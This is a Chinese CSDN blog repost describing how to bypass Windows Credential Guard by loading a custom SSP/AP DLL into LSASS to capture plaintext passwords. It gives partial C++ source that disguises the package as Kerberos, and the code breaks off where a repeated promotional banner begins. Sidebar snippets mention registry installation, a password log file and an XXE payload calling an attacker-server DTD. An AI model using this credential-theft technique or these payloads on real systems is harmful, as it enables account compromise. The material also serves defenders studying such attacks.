2024年最全实战 绕过自定义SSP的凭证保护抓取密码_addsecuritypackage(4)，近期有什么面试

于 2024-05-14 11:54:10 发布
阅读量504 收藏 3
点赞数 3
分类专栏： 程序员 文章标签： 鸿蒙 面试 学习
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/2401_84862061/article/details/138848497
版权

img
img

网上学习资料一大堆，但如果学到的知识不成体系，遇到问题时只是浅尝辄止，不再深入研究，那么很难做到真正的技术提升。

需要这份系统化的资料的朋友，可以戳这里获取

一个人可以走的很快，但一群人才能走的更远！不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人，都欢迎加入我们的的圈子（技术交流、学习资源、职场吐槽、大厂内推、面试辅导），让我们一起学习成长！

下图简要概述了如何使用基于虚拟化的安全性来隔离 LSA：

Source：How Credential Guard works

如果我们在启用了 Credential Guard 的系统上尝试使用 Mimikatz 从 LSASS 进程内存中提取凭证，我们会观察到以下结果。

如上图所示，我们无法从 LSASS 内存中提取任何凭据，NTLM 哈希处显示的是 “LSA Isolated Data: NtlmHash”。并且，即便已经通过修改注册表启用了 Wdigest，也依然获取不到任何明凭据。

为了进行比较，下图所示为不受 Credential Guard 保护的系统上的输出。

从 Windows 11 Enterprise, Version 22H2 和 Windows 11 Education, Version 22H 开始，兼容系统默认已启用 Windows Defender Credential Guard。

1. 基础知识

1.1 自定义安全包

自定义安全包 API 支持组合开发自定义安全支持提供程序（SSP），后者为客户端/服务器应用程序提供非交互身份验证服务和安全消息交换，以及开发自定义身份验证包，为执行交互式身份验证的应用程序提供服务。这些服务在单个包中合并时称为安全支持提供程序/身份验证包（SSP/AP）。

SSP/AP 中部署的安全包与 LSA 完全集成。使用可用于自定义安全包的 LSA 支持函数，开发人员可以实现高级安全功能，例如令牌创建、 补充凭据支持和直通身份验证。

如果我们自定义安全支持提供程序/身份验证包（SSP/AP），并将其注册到系统，当用户重新进行交互式身份验证时，系统就会同通过我们自定义的 SSP/AP 传递明文凭据，这意味着我们可以提取到明文凭据并将其保存下来。这样便可以绕过 Credential Guard 的保护机制。

SSP/AP 安全包，为了同时执行身份验证包（AP）和安全支持提供程序（SSP），可以作为操作系统的一部分以及作为用户应用程序的一部分执行。这两种执行模式分别称为 LSA 模式和用户模式。这里我们需要的是 LSA 模式。

下面简单介绍一下关于 LSA 模式的初始化。

1.2 LSA 模式初始化

启动计算机系统后，本地安全机构（LSA）会自动将所有已注册的安全支持提供程序/身份验证包（SSP/AP）的 DLL 加载到其进程空间中，下图显示了初始化过程。

“Kerberos” 表示 Microsoft Kerberos SSP/AP，“My SSP/AP” 表示包含两个自定义安全包的自定义 SSP/AP。

启动时，LSA 调用每个 SSP/AP 中的 SpLsaModeInitialize() 函数，以获取指向 DLL 中每个安全包实现的函数的指针，函数指针以 SECPKG_FUNCTION_TABLE 结构数组的形式传递给 LSA。

收到一组 SECPKG_FUNCTION_TABLE 结构后，LSA 将调用每个安全包的 SpInitialize() 函数。LSA 使用此函数调用传递给每个安全包一个 LSA_SECPKG_FUNCTION_TABLE 结构，其中包含指向安全包调用的 LSA 函数的指针。除了存储指向 LSA 支持函数的指针外，自定义安全包还应使用 SpInitialize() 函数的实现来执行任何与初始化相关的处理。

在这里，我们的 SSP/AP 安全包需要实现下表中所示的几个函数。

| 由 SSP/AP 实现的函数 | 说明 |
| SpInitialize | 执行初始化处理，并提供一个函数指针列表。 |
| SpShutDown | 在卸载 SSP/AP 之前执行所需的任何清理。 |
| SpGetInfo | 提供有关安全包的一般信息，例如其名称、描述和功能。 |
| SpAcceptCredentials | 将为经过身份验证的安全主体存储的凭据传递给安全包。 |

1.3 由 SSP/AP 实现的函数

以下函数由我们自定义的安全支持提供程序/身份验证包（SSP/AP）实现，本地安全机构（LSA）通过使用 SSP/AP 的 SpLsaModeInitialize 函数提供的 SECPKG_FUNCTION_TABLE 结构来访问这些函数。

SpInitialize

SpInitialize 函数由本地安全机构（LSA）调用一次，用于执行任何与初始化相关的处理，并提供一个函数指针列表，其中包含安全包调用的 LSA 函数的指针。

函数声明如下：

NTSTATUS Spinitializefn(
  [in] ULONG_PTR PackageId,
  [in] PSECPKG_PARAMETERS Parameters,
  [in] PLSA_SECPKG_FUNCTION_TABLE FunctionTable
);

参数如下：

  • • [in] PackageId：LSA 分配给每个安全包的唯一标识符。该值在重新启动系统之前有效。
  • • [in] Parameters：指向包含主域和计算机状态信息的 SECPKG_PARAMETERS 结构的指针。
  • • [in] FunctionTable：指向可以安全包调用的 LSA 函数的指针列表。

SpShutDown

SpShutDown 函数在卸载安全支持提供程序/身份验证包 (SSP/AP) 之前，由本地安全机构（LSA）调用，用于在卸载 SSP/AP 之前执行所需的任何清理，以便释放资源。

函数声明如下：

NTSTATUS SpShutDown(void);

这个函数没有参数。

SpGetInfo

SpGetInfo 函数提供有关安全包的一般信息，例如其名称和功能描述。客户端调用安全支持提供程序接口（SSPI）的 QuerySecurityPackageInfo 函数时，将调用 SpGetInfo 函数。

函数声明如下：

NTSTATUS Spgetinfofn(
  [out] PSecPkgInfo PackageInfo
);

参数如下：

  • • [out] PackageInfo：指向由本地安全机构（LSA）分配的 SecPkgInfo 结构的指针，必须由包填充。

SpAcceptCredentials

SpAcceptCredentials 函数由本地安全机构（LSA）调用，以将为经过身份验证的安全主体存储的任何凭据传递给安全包。为 LSA 存储的每组凭据调用一次此函数。

函数声明如下：

NTSTATUS Spacceptcredentialsfn(
  [in] SECURITY_LOGON_TYPE LogonType,
  [in] PUNICODE_STRING AccountName,
  [in] PSECPKG_PRIMARY_CRED PrimaryCredentials,
  [in] PSECPKG_SUPPLEMENTAL_CRED SupplementalCredentials
);

参数如下：

  • • [in] LogonType：指示登录类型的 SECURITY_LOGON_TYPE 值。
  • • [in] AccountName：指向存储登录帐户名称的 UNICODE_STRING 结构的指针。
  • • [in] PrimaryCredentials：指向包含登录凭据的 SECPKG_PRIMARY_CRED 结构的指针。
  • • [in] SupplementalCredentials：指向包含特定于包的补充凭据的 ECPKG_SUPPLEMENTAL_CRED 结构的指针。

2. 编程实现

通过 C/C++ 创建一个名为 CustSSP 的 DLL 项目，实现自定义 SSP/AP 包。由于篇幅限制，笔者仅提供关键代码部分。

#include "pch.h"

static SECPKG_FUNCTION_TABLE SecPkgFunctionTable[] = {
    {
    NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL,
    _SpInitialize, _SpShutDown, _SpGetInfo, _SpAcceptCredentials,
    NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL, NULL, NULL, NULL
    }
};

NTSTATUS NTAPI _SpInitialize(ULONG_PTR PackageId, PSECPKG_PARAMETERS Parameters, PLSA_SECPKG_FUNCTION_TABLE FunctionTable)
{
    return STATUS_SUCCESS;
}

NTSTATUS NTAPI _SpShutDown(void)
{
    return STATUS_SUCCESS;
}

NTSTATUS NTAPI _SpGetInfo(PSecPkgInfoW PackageInfo)
{
    PackageInfo->fCapabilities = SECPKG_FLAG_ACCEPT_WIN32_NAME | SECPKG_FLAG_CONNECTION;
    PackageInfo->wVersion = 1;
    PackageInfo->wRPCID = SECPKG_ID_NONE;
    PackageInfo->cbMaxToken = 0;
    PackageInfo->Name = (SEC_WCHAR*)L"Kerberos";
    PackageInfo->Comment = (SEC_WCHAR*)L"Microsoft Kerberos V5.0";
    return STATUS_SUCCESS;
}

NTSTATUS NTAPI _SpAcceptCredentials(SECURITY_LOGON_TYPE LogonType, PUNICODE_STRING AccountName, PSECPKG_PRIMARY_CRED PrimaryCredentials, PSECPKG_SUPPLEMENTAL_CRED SupplementalCredentials)
{
    const wchar_t* LSA_LOGON_TYPE[] = {
        L"UndefinedLogonType",
        L"Unknown !",
        L"Interactive",
        L"Network",
        L"Batch",
        L"Service",
        L"Proxy",
        L"Unlock",
        L"NetworkCleartext",
        L"NewCredentials",
        L"RemoteInteractive",
        L"CachedInteractive",
        L"CachedRemoteInteractive",
        L"CachedUnlock",
    };


![img](https://img-blog.csdnimg.cn/img_convert/953841dd1afe69a2400add21e207c912.png)
![img](https://img-blog.csdnimg.cn/img_convert/e23354ad5f9a720574f4a65cf455d273.png)

**网上学习资料一大堆，但如果学到的知识不成体系，遇到问题时只是浅尝辄止，不再深入研究，那么很难做到真正的技术提升。**

**[需要这份系统化的资料的朋友，可以戳这里获取](https://bbs.csdn.net/topics/618636735)**


**一个人可以走的很快，但一群人才能走的更远！不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人，都欢迎加入我们的的圈子（技术交流、学习资源、职场吐槽、大厂内推、面试辅导），让我们一起学习成长！**

(img-ywIDlHXv-1715658828047)]

**网上学习资料一大堆，但如果学到的知识不成体系，遇到问题时只是浅尝辄止，不再深入研究，那么很难做到真正的技术提升。**

**[需要这份系统化的资料的朋友，可以戳这里获取](https://bbs.csdn.net/topics/618636735)**


**一个人可以走的很快，但一群人才能走的更远！不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人，都欢迎加入我们的的圈子（技术交流、学习资源、职场吐槽、大厂内推、面试辅导），让我们一起学习成长！**
SRC漏洞挖掘经验分享
hongduilanjun的博客
09-04 239
状态显然不止有"成功"，肯定也有"失败"，不然它就没有意义了，也就是说如果存在注入，我们无需登录即可将JS注入用户界面，进而在用户登录后造成攻击。ENTITY % b SYSTEM "http://你服务器的IP/x.dtd">%b;MTIzNA==显然是base64编码后的结果，解码发现是1234，应该是用来进行身份验证的，不同用户的x值不同。结果并没有出现弹框，查看前端代码，onerror被替换为空了<img src=1 ="alert(1);</script>并没有出现弹框，说明<>被编码了。
实战 | 绕过自定义SSP的凭证保护抓取密码
Javachichi的博客
03-08 574
自定义安全包 API 支持组合开发自定义安全支持提供程序（SSP），后者为客户端/服务器应用程序提供非交互身份验证服务和安全消息交换，以及开发自定义身份验证包，为执行交互式身份验证的应用程序提供服务。这些服务在单个包中合并时称为安全支持提供程序/身份验证包（SSP/AP）。SSP/AP 中部署的安全包与 LSA 完全集成。使用可用于自定义安全包的 LSA 支持函数，开发人员可以实现高级安全功能，例如令牌创建、 补充凭据支持和直通身份验证。
域内权限维持：注入SSP
01-29 712
01、简介 SSP(Security Support Provider)是Windows操作系统安全机制的提供者。简单地说，SSP是个DLL文件，主要用来实现Windows操作系统的身份认证功能。在系统启动时，SSP 将被加载到lsass.exe进程中，攻击者通过自定义恶意的DLL文件，在系统启动时将其加载到lsass.exe进程中，就能够获取lsass.exe进程中的明文密码。这样，即使用户更...
windows认证&密码抓取
qq_44657899的博客
07-15 7138
文章目录基础知识windows版本历史一、工作组部分密码存放在哪里？NTML Hashwindows本地认证windows网络认证NTML v1与v2二、域部分kerbero协议白银票据黄金票据windows密码导出lsass进程抓取mimikatz直接操作lsass进程procdump+mimikatzWindows Server 2016抓取明文密码sam文件（密文，需要破解，或者通过hash传递使用）用工具读取sam文件注册表导出sam文件使用mimipenguin获取linux明文登录密码windo
实战 绕过自定义SSP的凭证保护抓取密码_addsecuritypackage
2401_84264727的博客
04-16 745
但是，如果 DLL 位于其他路径中，请在名称中包含 DLL 的完整路径。将编译生成的 CustSSP.dll 置于 C:\Windows\System32 目录中，并将 “CustSSP” 添加到以下注册表值的数据中，如下图所示。当目标主机重新启动并进行交互式身份验证后，将在 C:\Windows\System32\CustSSP.log 中记录当前登录用户的明文密码，如下图所示。函数导出，如下所示。该函数会被本地安全机构（LSA）调用一次，从而将 CustSSP 中实现的函数的指针提供给 LSA。
ssp_sinamics_g120_v4_7.zip
08-14
SSP（Siemens Safety Program）是西门子推出的安全编程软件，主要应用于其工业自动化产品，如SIMATIC S7系列PLC和SINAMICS驱动系统。在本压缩包"ssp_sinamics_g120_v4_7.zip"中，包含的是针对SINAMICS G120变频器的...
SSP_SINAMICS_DCM_V1_5.zip
07-20
SSP_SINAMICS_DCM_V1_5.zip是一个压缩包文件，包含了有关Siemens 6RA80系列直流调速装置（DCM）的1.5版本固件升级资料。6RA80是西门子SINAMICS家族的一员，主要用于高性能直流驱动系统，常见于工业自动化领域。DCM，...
SSP.rar_DEMO_LPC2378 SSP_NXP SSP_SSP_lpc s
09-14
标题“SSP.rar_DEMO_LPC2378 SSP_NXP SSP_SSP_lpc s”提到了几个关键术语，它们是“SSP”，“LPC2378”，“NXP”以及“DEMO”。这些术语暗示了这篇内容将围绕微控制器NXP LPC2378上串行外围接口（Serial Peripheral ...
Floyd.zip_SSP_begunjnn_floyd_matlab_最短路问题
07-15
这个压缩包`Floyd.zip_SSP_begunjnn_floyd_matlab_最短路问题`包含了多个MATLAB文件，用于演示如何在MATLAB环境中应用Floyd算法。 首先，`Floyd_for_spp.m`文件很可能是主程序，它实现了Floyd算法的核心逻辑。Floyd...
渗透测试——漏洞扫描工具
wuli1024的博客
11-20 2537
然后还要将all这个压缩包里的plugin_feed_info.inc提取出来，命令行是 tar -zxvf all-2.0.tar.gz plugin_feed_info.inc，然鹅，我提取不出来。将下载好的插件移动到Nessus目录下，然后输入sudo /opt/nessus/sbin/nessuscli update all-2.0.tar.gz。用户名和密码随便写写就好，随后将会更新补丁，OK，这样Nessus可以使用了。将会获得一串数字，然后去激活码的这个网站，输入自己的邮箱获取激活码。
2024年HarmonyOS鸿蒙最全软考高级之信息系统案例分析七重奏-《3》(1)，腾讯面试gm
最新发布
2401_84853495的博客
05-08 607
5、配置审计；6、发布管理和交付。
【HarmonyOS NEXT】解决：搜索无效问题
weixin_71403100的博客
03-07 1181
页面包含搜索框和列表，列表默认展示所有数据并具有分页功能。然而，在输入关键字到搜索框时，列表未正确展示搜索结果。
httpClient忽略https的证书认证
专搞技术的小兔子
01-24 3479
接口地址及参数：https://xxx.xxx.com/api/v3/technicians?input_data={“list_info”:{“search_fields”:{“email_id”:“wjjia@iflytek.com”}}}HttpClient工具类范例。
KB2871997补丁绕过
Yu3511606536的博客
02-28 530
KB2871997补丁绕过
loadlibrary函数的使用_Mimikatz中SSP的使用
weixin_39544101的博客
11-27 469
Mimikatz中SSP的使用Mimikatz中的mimilib(ssp)和misc::memssp同sekurlsa::wdigest的功能相同，都能够从lsass进程中提取凭据，通常可获得已登录用户的明文口令(Windows Server 2008 R2及更高版本的系统默认无法获得)，但实现原理不同，所以绕过高版本限制的方法也不同。我对XPN的第二篇文章进行了学习，对这个技术有了新...
Mimikatz-内存中的SSP
weixin_45682070的博客
07-31 618
首先说一下SSP，安全支持提供程序（SSP）是Windows API，用于扩展Windows身份验证机制。LSASS进程正在Windows启动期间加载安全支持提供程序DLL。这种行为使红队的攻击者可以删除一个任意的SSP DLL以便与LSASS进程进行交互并记录该进程中存储的所有密码，或者直接用恶意的SSP对该进程进行修补而无需接触磁盘。 该技术需要管理员权限，可用于收集系统的凭证，这里用mimikatz介绍两种，一种是 注册SSP DLL ，二种是 加载到内存 注册SSP DLL Mimikatz压缩包中
绕过卡巴斯基dump进程lsass.exe内存
xiangshen1990的博客
03-15 7548
绕过卡巴斯基dump进程lsass.exe内存1：简介2：流程2.1：编译XPN大牛的代码2.2：实现dump内存代码2.3：自动获取lsass.exe进程的pid3：效果 1：简介 起因是前两天看到QAX-Ateam的一篇关于渗透的文章《这是一篇“不一样”的真实渗透测试案例分析文章》，里面提到了学习XPN大牛的方法，绕过卡巴斯基的防护机制成功dump进程lsass.exe的内存，再将其下载到本地...
AD域SSP安全防护
weixin_41082546的博客
05-05 1232
一、简介 　　SSP（Security Support Provider）是windows操作系统安全机制的提供者。简单的说，SSP就是DLL文件，主要用于windows操作系统的身份认证功能，例如NTLM、Kerberos、Negotiate、Secure Channel（Schannel）、Digest、Credential（CredSSP）。 　　SSPI（Security Suppor...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值